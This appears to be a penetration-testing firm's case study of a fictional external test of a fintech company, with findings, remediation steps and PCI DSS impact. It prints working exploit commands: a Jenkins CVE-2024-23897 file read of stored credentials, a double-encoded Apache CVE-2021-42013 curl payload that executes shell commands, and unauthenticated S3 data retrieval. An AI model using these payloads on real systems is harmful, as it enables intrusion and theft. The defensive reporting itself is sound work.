Disclaimer: All client details, company names, IP addresses, usernames, and findings in this article are entirely fictional and have been created for illustrative purposes only. CVE references are to real, publicly disclosed vulnerabilities but their exploitation in this article is a fictional scenario used for educational demonstration.
Background
Meridian Payments Ltd is a fictional Dublin-based fintech company providing card payment processing services to approximately 3,400 Irish SMEs. The firm handles authorisation, settlement, and reporting for card-not-present (CNP) transactions, making it a high-value target and placing it firmly within the scope of the Payment Card Industry Data Security Standard (PCI DSS).
With 84 staff, Meridian had invested significantly in their internal security posture — endpoint protection, a SOC, and an active vulnerability management programme. Annual external penetration tests had been conducted as part of their PCI DSS compliance programme, each focused narrowly on the certified Cardholder Data Environment. That narrow scope, defined by their QSA, had consistently returned clean results — and over time the clean results had created a blind spot. Newly deployed cloud infrastructure, development subdomains, and CI/CD tooling sat entirely outside the defined PCI scope and had never been formally tested.
CyberLabs was engaged to conduct a full external infrastructure penetration test. The objective: simulate a threat actor operating entirely from the internet with no prior knowledge of the environment, and determine what they could access, what they could compromise, and what real-world impact they could achieve.
Scope & Rules of Engagement
Following a scoping call, the agreed test boundaries were:
- All externally resolvable hostnames under
*.meridianpayments.ie - Associated IP ranges:
185.220.14.0/24,46.105.88.0/24 - Any cloud infrastructure (S3, Azure, GCP) identifiable as belonging to the organisation
- Public code repositories attributable to the company or its employees
Explicitly out of scope were internal systems, physical security, social engineering of staff, and any production payment processing infrastructure. A written authorisation document was signed by Meridian’s CISO before testing commenced, and a technical point of contact was available throughout.
Testing was conducted in a grey-box configuration — CyberLabs began with no credentials but was provided with the company’s IP ranges to accelerate scoping. No other information was shared in advance.
Methodology
CyberLabs follows the Penetration Testing Execution Standard (PTES) for all engagements and maps findings to the MITRE ATT&CK framework. For external infrastructure engagements, the phases are:
- Passive Reconnaissance (OSINT) — information gathering with no direct interaction with target systems
- Active Reconnaissance & Enumeration — subdomain discovery, port scanning, service fingerprinting
- Vulnerability Analysis — manual and automated assessment of identified services
- Exploitation — controlled proof-of-concept exploitation of confirmed vulnerabilities
- Post-Exploitation & Impact Assessment — demonstrating the realistic business impact of successful compromise
For fintech clients, all findings are additionally mapped to PCI DSS v4.0 requirements where applicable.
Phase 1 — Passive Reconnaissance (OSINT)
Before sending a single packet to Meridian’s infrastructure, CyberLabs spent a full day on passive intelligence gathering. This phase is critical — the more an attacker knows about a target before making contact, the more targeted and effective their later exploitation will be.
Shodan & Censys
A search of Shodan and Censys for Meridian’s IP ranges and domain revealed several interesting results. Of note was an open port 8080 on a host within the 185.220.14.0/24 range, with Shodan’s banner identifying the service as Jenkins 2.387.1. Jenkins is a widely used CI/CD automation server — its presence on an internet-facing IP, without TLS, was immediately concerning.
Censys returned an additional finding: a certificate transparency log entry for jenkins.meridianpayments.ie and staging-api.meridianpayments.ie — subdomains that had not been included in the company’s own list of external assets.
GitHub Reconnaissance
CyberLabs used TruffleHog to scan public GitHub repositories associated with Meridian’s organisation account. TruffleHog analyses commit history for high-entropy strings and known secret patterns — including API keys, tokens, and cryptographic keys.
$ trufflehog github --org=meridian-payments-ltd --only-verified
Found verified result...
Detector Type: PrivateKey
Raw: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA...
Commit: a3f91e2 | Repo: infra-scripts | 8 months ago
File: deploy/setup.shAn OpenSSH private key had been committed to a public infrastructure repository by a developer eight months prior. The commit predated a .gitignore rule that would have excluded it. The key had never been rotated. This was immediately noted as a critical finding pending confirmation of where the key granted access.
LinkedIn & Tech Stack Enumeration
A review of employee LinkedIn profiles identified several developers listing AWS, Apache, Jenkins, and HashiCorp Vault in their skills — confirming the tech stack and indicating the likely cloud provider. Job postings referencing “Jenkins pipeline experience” and “AWS S3 data lake” were also recorded.
Phase 2 — Active Reconnaissance & Enumeration
Subdomain Enumeration
CyberLabs ran a combination of subfinder, amass, and dnsx against the meridianpayments.ie domain to enumerate all resolvable subdomains:
$ subfinder -d meridianpayments.ie -silent | dnsx -silent
www.meridianpayments.ie
api.meridianpayments.ie
jenkins.meridianpayments.ie
staging-api.meridianpayments.ie
dev.meridianpayments.ie
admin.meridianpayments.ie
docs-internal.meridianpayments.ieSeven resolvable subdomains were discovered, of which only two (www and api) had been included in the client’s own inventory. The remaining five were unknown to the security team — a classic case of shadow IT and organic infrastructure growth outpacing asset management.
Service Fingerprinting
Each discovered host was scanned with Nmap and httpx for open ports, running services, and web server technology:
$ nmap -sV -sC -p- --open 185.220.14.0/24
185.220.14.42:8080 Jenkins 2.387.1 (HTTP, no TLS)
185.220.14.67:443 Apache httpd 2.4.50 (OpenSSL/1.1.1k)
185.220.14.88:80 Apache httpd 2.2.34 (HTTP/1.1)
185.220.14.91:443 nginx/1.24.0
$ httpx -l subdomains.txt -status-code -title -tech-detect
jenkins.meridianpayments.ie [200] [Jenkins] [Jenkins 2.387.1]
staging-api.meridianpayments.ie [200] [Apache][PHP/7.4.33]
dev.meridianpayments.ie [401] [Basic Auth]
admin.meridianpayments.ie [200] [Nginx][Bootstrap]The Apache version 2.4.50 on staging-api.meridianpayments.ie immediately stood out — this version is affected by CVE-2021-42013, a critical path traversal and remote code execution vulnerability. The Jenkins instance at jenkins.meridianpayments.ie running version 2.387.1 was affected by CVE-2024-23897, a critical unauthenticated file read vulnerability disclosed in January 2024.
Additionally, a review of the JavaScript bundle served from admin.meridianpayments.ie contained a hardcoded reference to an AWS S3 bucket path: s3://meridian-payments-logs — a finding that would prove significant in the exploitation phase.
Phase 3 — Exploitation
Finding EXT-01 — CVE-2024-23897: Jenkins Unauthenticated File Read leading to RCE (Critical · CVSSv3: 9.8)
CVE-2024-23897 (CVSS 9.8) affects Jenkins 2.441 and earlier, and Jenkins LTS 2.426.2 and earlier. The Jenkins CLI endpoint uses the args4j library to parse command arguments from files. Due to insufficient access controls, an unauthenticated remote attacker can exploit this behaviour to read arbitrary files from the Jenkins server’s filesystem — including sensitive configuration files, stored credentials, and cryptographic keys used by build pipelines.
CyberLabs confirmed the vulnerability and demonstrated file read by retrieving the Jenkins credentials store:
$ java -jar jenkins-cli.jar -s http://jenkins.meridianpayments.ie:8080/ \
help "@/var/lib/jenkins/credentials.xml"
<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
<id>deploy-ssh</id>
<username>deploy</username>
<password>{AQAAABAAAAAQb+...}</password>
</com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>The credentials store contained an encrypted deploy SSH password. Additionally, the Jenkins build history included references to a private key path at /var/lib/jenkins/.ssh/id_rsa — readable via the same file read primitive. The extracted private key matched the one found in the GitHub repository during OSINT, confirming it was still active.
From the private key and the IP address identified in Jenkins build logs, CyberLabs was able to authenticate directly to the build infrastructure:
$ ssh -i extracted_id_rsa deploy@185.220.14.55
deploy@build-srv-01:~$A shell on the build server had been obtained with no credentials entered interactively, entirely through a chain beginning with an unauthenticated HTTP request to a publicly exposed Jenkins endpoint.
Finding EXT-02 — SSH Private Key Exposed in Public GitHub Repository (Critical · CVSSv3: 9.1)
As identified during OSINT, an OpenSSH private key was present in the commit history of a public GitHub repository. The key had been committed eight months prior as part of a deployment script and never revoked. Secret scanning tools such as TruffleHog and GitHub’s own native secret scanning would have detected this on commit — neither was configured on the repository in question.
This finding directly enabled the authenticated SSH access in EXT-01, demonstrating that secret leakage in version control is not merely a theoretical concern — it provides a low-effort, high-impact entry point that requires no vulnerability exploitation.
Finding EXT-03 — Publicly Accessible AWS S3 Bucket Containing Transaction Metadata (Critical · CVSSv3: 9.1)
The S3 bucket reference identified in client-side JavaScript was tested for public access using the AWS CLI without any authentication credentials configured:
$ aws s3 ls s3://meridian-payments-logs --no-sign-request
2024-11-01 03:12:44 2847301 transactions-2024-11-01.json.gz
2024-11-02 03:11:19 3104558 transactions-2024-11-02.json.gz
...
[847 objects listed]
$ aws s3 cp s3://meridian-payments-logs/transactions-2024-11-01.json.gz \
. --no-sign-request
$ zcat transactions-2024-11-01.json.gz | head -5
{"txn_id":"MRD-2024110100001","merchant_id":"IE_00412","amount":84.99,
"currency":"EUR","card_last4":"7823","card_bin":"453995",
"auth_code":"A12394","timestamp":"2024-11-01T00:01:44Z",...}The bucket contained 847 compressed JSON files representing transaction logs going back 34 months. Each record included merchant identifiers, transaction amounts, card BINs (Bank Identification Numbers), last 4 digits of the card number, and authorisation codes.
While full PANs (Primary Account Numbers) were not present, the combination of BIN and last 4 digits constitutes partial cardholder data under PCI DSS. The public exposure of this data without authentication represents a PCI DSS v4.0 Requirement 3.3 violation and a potential GDPR-notifiable breach given the volume of transaction records exposed.
Finding EXT-04 — CVE-2021-42013: Apache HTTP Server Path Traversal & RCE on Staging (High · CVSSv3: 9.8)
CVE-2021-42013 (CVSS 9.8) affects Apache HTTP Server versions 2.4.49 and 2.4.50. The vulnerability bypasses the fix for CVE-2021-41773 through double URL-encoding of path traversal sequences. When mod_cgi is enabled — as it was on this server — the path traversal primitive escalates to remote code execution.
CyberLabs confirmed the vulnerability on the staging API server with a controlled proof-of-concept read of /etc/passwd, then demonstrated RCE by executing the id command via mod_cgi:
$ curl -s --path-as-is \
"https://staging-api.meridianpayments.ie/cgi-bin/.%%32%65/.%%32%65/bin/sh" \
--data "echo; id"
uid=48(apache) uid=48(apache) groups=48(apache)Remote code execution as the Apache service account was confirmed. The staging environment shared credentials with the production database read replica — a configuration detail found in environment variable files on the compromised host. This would have allowed an attacker to query live production transaction data.
Phase 4 — Post-Exploitation & Business Impact
With access to the build server via SSH and RCE on the staging host, CyberLabs demonstrated the following impact without accessing production data or causing disruption:
- Credential harvesting — environment files on the build server contained plaintext database connection strings, internal API keys, and AWS IAM access keys for a deployment role. The IAM role had overly broad permissions (
s3:*on all buckets), meaning an attacker could have read, modified, or deleted all S3 data including the exposed transaction logs - Lateral movement potential — the build server had unrestricted outbound network access and was peered with the production VPC. From this position, an attacker could have attempted to reach internal services not visible from the public internet
- Supply chain risk — with write access to build pipelines, an attacker could have injected malicious code into Meridian’s deployment process, potentially affecting the integrity of payment processing software delivered to their 3,400 merchant clients
- Regulatory impact — the combination of exposed partial cardholder data (EXT-03) and potential access to production systems would trigger mandatory breach notification obligations under both PCI DSS v4.0 and GDPR, with potential fines and card scheme penalties
Additional Findings
Beyond the critical exploitation chain, the assessment identified several additional weaknesses during enumeration:
- EXT-05 — Weak TLS configuration (High): TLS 1.0 and 1.1 were enabled on three public-facing hosts, along with RC4 and 3DES cipher suites — all deprecated per PCI DSS Requirement 4.2.1 and NIST SP 800-52
- EXT-06 — Missing DMARC and SPF records (High):
dig txt meridianpayments.ieconfirmed the absence of a DMARC policy and an overly permissive SPF record (~allsoftfail rather than-allhardfail), enabling external parties to send spoofed email from@meridianpayments.ieaddresses — a material risk given that payment notification emails are sent from this domain - EXT-07 — Default credentials on development admin panel (High):
admin.meridianpayments.ieacceptedadmin:admincredentials, granting full access to an internal tooling dashboard - EXT-08 — Verbose HTTP response headers (Medium): Server response headers disclosed exact software versions (
Server: Apache/2.4.50 (CentOS) PHP/7.4.33), reducing attacker effort for fingerprinting - EXT-09 — Expired SSL certificate on staging (Medium): The TLS certificate for
staging-api.meridianpayments.iehad expired 47 days prior, indicating a gap in certificate lifecycle monitoring - EXT-10 — Plaintext API keys in Jenkins build logs (Medium): Archived console output from five Jenkins jobs contained plaintext third-party API keys that should have been stored in a secrets manager and masked from logs
- EXT-11 — No rate limiting on authentication endpoints (Medium): Login and password reset endpoints accepted unlimited requests without lockout, CAPTCHA, or IP throttling — enabling automated credential stuffing at scale
- EXT-12 — Abandoned CNAME pointing to deprovisioned cloud resource (Low): One subdomain (
docs-internal.meridianpayments.ie) resolved via CNAME to an AWS Elastic Beanstalk environment that no longer existed. This class of misconfiguration is known as a subdomain takeover and can be exploited to serve content from the victim’s domain
Findings Summary
| Ref | Finding | CVE / Reference | CVSSv3 | Risk Rating |
|---|---|---|---|---|
| EXT-01 | Jenkins unauthenticated file read → RCE | CVE-2024-23897 | 9.8 | 🔴 Critical |
| EXT-02 | SSH private key exposed in public GitHub commit history | CWE-312 | 9.1 | 🔴 Critical |
| EXT-03 | AWS S3 bucket with transaction metadata — public read, no auth | CWE-284 | 9.1 | 🔴 Critical |
| EXT-04 | Apache 2.4.50 path traversal → RCE on staging server | CVE-2021-42013 | 9.8 | 🟠 High |
| EXT-05 | TLS 1.0/1.1 and weak cipher suites enabled (RC4, 3DES) | PCI DSS Req 4.2.1 | 7.4 | 🟠 High |
| EXT-06 | Missing DMARC / permissive SPF — email spoofing possible | CWE-346 | 7.5 | 🟠 High |
| EXT-07 | Default credentials on exposed admin panel | CWE-1392 | 9.8 | 🟠 High |
| EXT-08 | Verbose HTTP response headers disclosing server versions | CWE-200 | 5.3 | 🟡 Medium |
| EXT-09 | Expired SSL certificate on staging endpoint | — | 5.3 | 🟡 Medium |
| EXT-10 | Plaintext API keys present in Jenkins build log archives | CWE-312 | 6.5 | 🟡 Medium |
| EXT-11 | No rate limiting on login and password reset endpoints | CWE-307 | 5.3 | 🟡 Medium |
| EXT-12 | Dangling CNAME — subdomain takeover risk | CWE-350 | 4.3 | 🟢 Low |
Remediation Recommendations
Immediate (within 24 hours)
- Revoke and rotate the exposed SSH private key — the key identified in GitHub history must be considered fully compromised. Rotate all credentials that the key had access to, audit access logs for the affected period, and enable GitHub’s native secret scanning and push protection to prevent future exposure
- Restrict the S3 bucket to private access — apply an explicit
Block Public Accesspolicy to themeridian-payments-logsbucket immediately. Review all other S3 buckets in the AWS account for the same misconfiguration usingaws s3api get-bucket-aclacross all buckets - Take the Jenkins instance offline or isolate it behind a VPN or IP allowlist until it can be patched to Jenkins LTS 2.426.3 or later. CVE-2024-23897 is being actively exploited in the wild and an internet-exposed unpatched instance is a critical risk
Short Term (within 7 days)
- Patch Apache to 2.4.58 or later on the staging server and eliminate
mod_cgiif it is not required. The staging environment should not be reachable from the public internet at all — restrict to internal access or VPN only - Conduct a full asset inventory — the five unknown subdomains discovered during this engagement represent a systemic asset management gap. Implement continuous external attack surface monitoring (tools such as Shodan Monitor, SecurityTrails alerts, or a commercial ASM product) to ensure future deployments are captured
- Implement DMARC with a minimum policy of
p=quarantineprogressing top=reject, and harden SPF to-all. This protects Meridian’s customers from receiving spoofed payment notification emails — a high-impact social engineering vector given the brand’s financial context - Rotate all credentials found in Jenkins environment files and build logs — treat all secrets exposed in the Jenkins environment as compromised. Migrate to a secrets manager (AWS Secrets Manager or HashiCorp Vault) and configure Jenkins credentials binding to mask secrets from console output
Medium Term (30–90 days)
- Disable TLS 1.0 and 1.1 and remove RC4, 3DES, and other deprecated cipher suites across all public-facing hosts. Configure a strict TLS policy aligned with Mozilla’s Intermediate or Modern server configuration guidelines. This is a PCI DSS v4.0 requirement and must be resolved prior to the next QSA assessment
- Implement a Web Application Firewall (WAF) with rate limiting on authentication endpoints — at minimum, enforce a lockout or CAPTCHA after five failed login attempts on any public-facing authentication surface
- Remove the dangling CNAME for
docs-internal.meridianpayments.ieand audit all DNS records for similar orphaned entries pointing to deprovisioned cloud resources - Conduct a least-privilege review of IAM roles — the deployment IAM role with
s3:*permissions on all buckets violates the principle of least privilege. Each role should have explicit allow policies scoped to only the buckets and actions it requires - Suppress version information in HTTP response headers — configure
ServerTokens ProdandServerSignature Offin Apache, and removeX-Powered-Byheaders from all public endpoints
PCI DSS Implications
For a payment processor operating under PCI DSS, the findings from this engagement have specific regulatory implications:
- Requirement 3.3 (Protect stored account data): The publicly readable S3 bucket containing partial cardholder data (BIN + last 4) directly violates this requirement. Meridian’s Qualified Security Assessor (QSA) must be notified
- Requirement 4.2.1 (Strong cryptography in transit): TLS 1.0/1.1 and weak cipher suites are explicitly prohibited. A finding in this area during a PCI DSS audit would result in a non-compliant assessment
- Requirement 6.3.3 (All system components protected from known vulnerabilities): CVE-2024-23897 and CVE-2021-42013 are both CVSSv3 9.8 and have publicly available proof-of-concept exploit code. An unpatched externally exposed system with vulnerabilities of this severity would represent a significant audit finding
- Requirement 12.3.2 (Targeted risk analysis): The lack of formal external penetration testing for two years may itself be a compliance gap depending on Meridian’s merchant level and applicable SAQ type
Outcome
Within 48 hours of receiving the report, Meridian’s security team had revoked the exposed SSH key, restricted the S3 bucket, and taken Jenkins offline. The CISO engaged their legal team and PCI DSS QSA to assess breach notification obligations under GDPR Article 33 given the S3 bucket exposure.
A remediation re-test was conducted four weeks later. All three critical findings had been resolved: Jenkins had been patched and placed behind a VPN, the S3 bucket was private, and the GitHub repository had been purged of historic secrets using BFG Repo-Cleaner with automatic secret scanning enabled going forward. CVE-2021-42013 on the staging server had been resolved by upgrading Apache and restricting the host to VPN access only.
DMARC and SPF remediation was completed in the same window. At the time of the retest, eight of the twelve original findings had been resolved, with the remaining four — TLS hardening, rate limiting, IAM review, and asset management tooling — in active remediation with target completion dates agreed.
The engagement underscored a pattern CyberLabs sees regularly: organisations that invest heavily in their internal security posture can still be caught out by their external attack surface, particularly as development and infrastructure teams deploy assets at a pace that outstrips security reviews.
What Does an External Infrastructure Pentest Cover?
An external infrastructure test is focused entirely on what an attacker can see and exploit from the internet — before they have any form of access to your environment. It is particularly valuable for organisations that handle sensitive data, process payments, or operate under financial services regulation.
Unlike a vulnerability scan, a penetration test involves a human tester chaining together multiple weaknesses — as demonstrated here, where an OSINT finding (GitHub key), a public vulnerability (CVE-2024-23897), and a cloud misconfiguration (public S3) combined into a full compromise scenario that no automated scanner would have identified in isolation.
CyberLabs provides fixed-fee external infrastructure assessments with a full written report, CVSSv3 scoring, MITRE ATT&CK mapping, and PCI DSS alignment where applicable. Request a consultation to discuss scope and timelines.
CyberLabs is a Dublin-based penetration testing and offensive security firm. We help Irish organisations identify and fix security vulnerabilities before attackers can exploit them. All testing is conducted under signed rules of engagement and in full compliance with Irish and EU law.